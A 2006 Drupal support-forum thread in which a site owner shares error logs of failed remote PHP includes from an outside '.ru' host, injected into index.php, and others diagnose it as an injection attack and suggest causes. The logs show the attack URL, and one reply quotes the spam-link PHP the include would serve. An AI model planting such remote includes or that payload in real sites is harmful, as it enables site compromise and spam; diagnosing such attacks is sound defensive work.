By allitbooks on

I am getting logs full of this, 32 pages!, ever since the 041606. What the hell is causing this and how do I get rid of it? I have disabled user regs and deleted all the users(only about 30) as my site doesnt really require them. 4.6.3 version to be specific.

error	php	2006-04-18 10:46	main(): Failed opening 'http://user7.phpinclude.ru/?YWxsaXRib29r	anonymous reader		details
error	php	2006-04-18 10:46	main(http://user7.phpinclude.ru/?YWxsaXRib29rcy5uZXQ=.d3d3LmFsbG	anonymous reader		details
error	php	2006-04-18 10:46	main(): Failed opening 'http://user7.phpinclude.ru/?YWxsaXRib29r	anonymous reader		details
error	php	2006-04-18 10:46	main(http://user7.phpinclude.ru/?YWxsaXRib29rcy5uZXQ=.d3d3LmFsbG	anonymous reader		details
⋅ Categories: Drupal 4.6.x

Comments

allitbooks’s picture

allitbooks commented

Here is the 'details' info from the main log. The IP calling it is from googlebot.com(66.249.65.167). But this is not the cause.

details
Type	php
Date	Tuesday, April 18, 2006 - 11:03
User	anonymous reader
Location	/admin/logs/event/9302
Message	main(): Failed opening 'http://user7.phpinclude.ru/? [continues]
YWxsaXRib29rcy5uZXQ=.d3d3LmFsbGl0Y [continues]
m9va3MubmV0.L2FkbWluL2xvZ3MvZXZlbn [continues]
QvOTMwMg==.TWVkaWFwYXJ0bmVycy1Hb2 [continues]
9nbGUvMi4x.NjYuMjQ5LjY1LjE2Nw==.' for inclusion [continues]
(include_path='.:/usr/lib/php:/usr/local/lib/php') [continues]
in /home/allitboo/public_html/index.php on line 30.
Severity	error
Hostname	66.249.65.167

details
Type	php
Date	Tuesday, April 18, 2006 - 11:03
User	anonymous reader
Location	/admin/logs/event/9302
Message	main(): Failed opening 'http://user7.phpinclude.ru/?[continues]
YWxsaXRib29rcy5uZXQ=.d3d3LmFsbGl0Ym9va3MubmV0.L2FkbW[continues]
luL2xvZ3MvZXZlbnQvOTMwMg==.TWVkaWFwYXJ0bmVycy1Hb29n[continues]
bGUvMi4x.NjYuMjQ5LjY1LjE2Nw==.' [continues]
for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') [continues]
in /home/allitboo/public_html/index.php on line 30.
Severity	error
Hostname	66.249.65.167

details
Type	php
Date	Tuesday, April 18, 2006 - 11:03
User	anonymous reader
Location	/admin/logs/event/9302
Message	main(): Failed opening 'http://user7.phpinclude.ru/?[continues]
YWxsaXRib29rcy5uZXQ=.d3d3LmFsbGl0Ym9va3MubmV0.L2Fkb[continues]
WluL2xvZ3MvZXZlbnQvOTMwMg==.TWVkaWFwYXJ0bmVycy1Hb[continues]
29nbGUvMi4x.NjYuMjQ5LjY1LjE2Nw==.' [continues]
for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php')[continues]
in /home/allitboo/public_html/index.php on line 30.
Severity	error
Hostname	66.249.65.167

[edited for display purposes, so everyone can see it's an 'include' attempt - Heine]

allitbooks’s picture

allitbooks commented

The only thing that I can see that has changed is the instead of having a 792x15 google ad at the top of the page - on some pages, it has gone to a google adsense search box. I have not changed this. See it at http://allitbooks.net

bl4h’s picture

bl4h commented

was it _your_ google id in the code?

allitbooks’s picture

allitbooks commented

Yes it is my id in the code. The thing that troubles me is the 'user7.phpinclude.ru'. As far as I know I am not using anything from that site. The IP address for the host is not specific to thr googlebot. It is happening with almost if not every pageview.

bl4h’s picture

bl4h commented

i figured it was an injection exploit attempt. you said the google ad changed. a good idea by a hacker would be to change the google ad to his own code ;/

heine’s picture

heine commented

http://www.jaguarpc.com/forums/showthread.php?t=13305
http://forums.digitalpoint.com/showthread.php?t=56721
http://www.nomadig.com/journal/2006/04/16/hacking-attempt

edited to add: however, your site looks ok, when visited with user-agent Googlebot, or when l=special is POSTed.

edited to add: the remote includes your site tries to fetch (but fails to do so) contain php to print links eg:

<? print '<a href="http://www.dohaeye.[deleted]/pass/sum.41.dowland.shtml" target=_blank>sum 41 dowland</a><a href="http://matt.lelund.[deleted]/gallery/g2data/cache/module/exif/0/0/aston%20freecam.hex.html">aston freecam.hex</a><a href="http://www.template.caspianblog.[deleted]/templates/default/icons/dexonline-free-downloads.php" target=_blank>dexonline free downloads</a>';?>

--
Tips for posting to the forums.
When your problem is solved, please post a follow-up to the thread you started.

allitbooks’s picture

allitbooks commented

I cant be the only drupal user having this problem. Is anyone else seeing this type of hack on drupal? The part in the link about seperate shared server site being hacked and then possibly getting into mine is very sucky!

heine’s picture

heine commented

Lots of php based sites have been hacked. It could be via another site on the shared server, but since you are running an old version, also via your site.

--
Tips for posting to the forums.
When your problem is solved, please post a follow-up to the thread you started.

bradlis7’s picture

bradlis7 commented

I have a lot of errors when a robot goes to a url, but adds a space before or after the url. I figure it's just a stupid spammer though, or could be a problem with my theme that most browsers fix. Who knows.

--
Bradlis7.com | Churchofchristnet

TallDavid’s picture

TallDavid commented

I also was hit by this exploit on a Drupal-powered Civispace 0.83 beta installation.

Apparently I have the permissions set too loosly for the files directory and the subdirectories:

  • civicrm
  • civicrm/templates_c
  • civicrm/upload
  • pictures
  • images
  • images/tmp
  • images/thumb
  • images/temp
  • theme_editor

Can someone please let me know the proper permission settings for these directories, or, better yet, direct me to a documentation page that details the proper permissions for a complete Drupal/Civispace installation!

Thanks!
David